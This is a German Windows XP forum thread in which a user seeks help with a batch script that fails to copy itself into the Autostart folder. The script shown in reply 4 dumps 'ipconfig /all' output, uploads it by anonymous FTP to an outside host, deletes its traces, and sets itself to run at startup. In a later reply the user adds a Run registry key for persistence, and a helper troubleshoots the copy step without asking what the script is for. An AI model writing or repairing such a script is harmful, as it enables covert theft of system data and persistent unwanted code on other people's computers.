online 1
gast (50)

/ Forum / WindowsXP

WindowsXPWindowsXP

Fragevon Alex1986 vom 23.06.2019, 15:44 Options

Frage zu einem batch skript

Hi,
weiß jemand, was an den folgenden Programmzeilen falsch ist?
code:
1:
xcopy cool.bat "%USERSPROFILE%\Startmenü\Programme\Autostart\" /Y > nul
del %0

die batch datei wird nicht in das autostart verzeichnis kopiert.


Antwort schreiben

Antwort 1 von LoLo vom 23.06.2019, 16:11 Options

Hi, gib mal den Pfad zur cool.bat an und lasse alles nach > weg.

xcopy [Pfad]cool.bat "%USERSPROFIL%\Startmenü\Programme\Autostart\" /Y

Antwort 2 von Alex1986 vom 23.06.2019, 16:22 Options

Ok jetzt wird ein Ordner erstellt der heist startmen³ und und da wird die datei reinkopiet.

Antwort 3 von LoLo vom 23.06.2019, 16:39 Options

...lasse mal die (") weg. Die brauchst du nur, wenn im Pfad ein Datei oder Ordnerbezeichnung mit Leerzeichen z.B. bei "Eigene Dateien" vorkommt.
Es dürfte kein neuer Ordner erstellt werden. Hast du etwa noch anderen Code in der bat stehen?

Antwort 4 von Alex1986 vom 23.06.2019, 17:03 Options

habe jetzt mal die " weg gelassen und ja da ist noch ein anderer code in der datei, diesen habe ich unten angehengt.

@ECHO OFF
> script.ftp ECHO anonym
>>script.ftp ECHO 12345678
>>script.ftp ECHO ascii
>>script.ftp ECHO put c:\Zuhause.txt
>>script.ftp ECHO quit
ipconfig/all > c:\Zuhause.txt
FTP -v -s:script.ftp anonym.an.ohost.de
TYPE NUL >script.ftp
DEL script.ftp
DEL c:\Zuhause.txt
xcopy cool.bat %userprofile%\Startmenü\Programme\Autostart\ /Y

:End

Antwort 5 von LoLo vom 24.06.2019, 16:09 Options

Du musst noch zur cool.bat den Pfad angeben, wenn sich die Batch nicht im gleichen Ordner wie die cool.bat befindet!
Leg mal Probeweise eine andere BAT an, die nur den xcopy-Befehl enthält, um zu prüfen, ob das Kopieren funktioniert oder ob der restliche Code nicht funktioniert.

@ECHO OFF

xcopy [Pfad]cool.bat "%USERSPROFIL\Startmenü\Programme\Autostart\" /Y

Antwort 6 von Alex1986 vom 28.06.2019, 20:01 Options

Entschuldigt das ich erst so spät schreibe.
@ LoLo ja ich weiß das ich den Pfad mit angeben muss, aber bei mir befindet schick die Datei im selbem Ordner.
Ich habe das jetzt über einen Registery Eintrag gelöst in dem ich die .reg über den Batch Skript starten lasse, wie heißt denn der Batch Befehl damit ich mir die .reg Datei sparen kann? mit add reg habe ich es versucht aber irgendwie klappte das nicht so ganz.
Hier noch ein Beispiel:

add reg [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "qwer"="C:\\WINDOWS\\system32\\abc.txt"

Ähnliche Themen

Windows Vista Skript für Sysprep erstellen
Exiles  16.08.2007 - 42 Hits -

Batch aktuelles Verzeichnis
Rudi0815  12.09.2007 - 289 Hits - 1 Antwort

Bildgröße und -auflösung per Batch oder JAVA-Skript
paulo87  05.12.2007 - 106 Hits - 6 Antworten

Hinweis

Diese Frage ist schon etwas älter, Sie können daher nicht mehr auf sie antworten. Sollte Ihre Frage noch nicht gelöst sein, stellen Sie einfach eine neue Frage im Forum..

Neue Einträge

Version: supportware 1.9.150 / 10.06.2022, Startzeit:Mon Jan 26 01:23:17 2026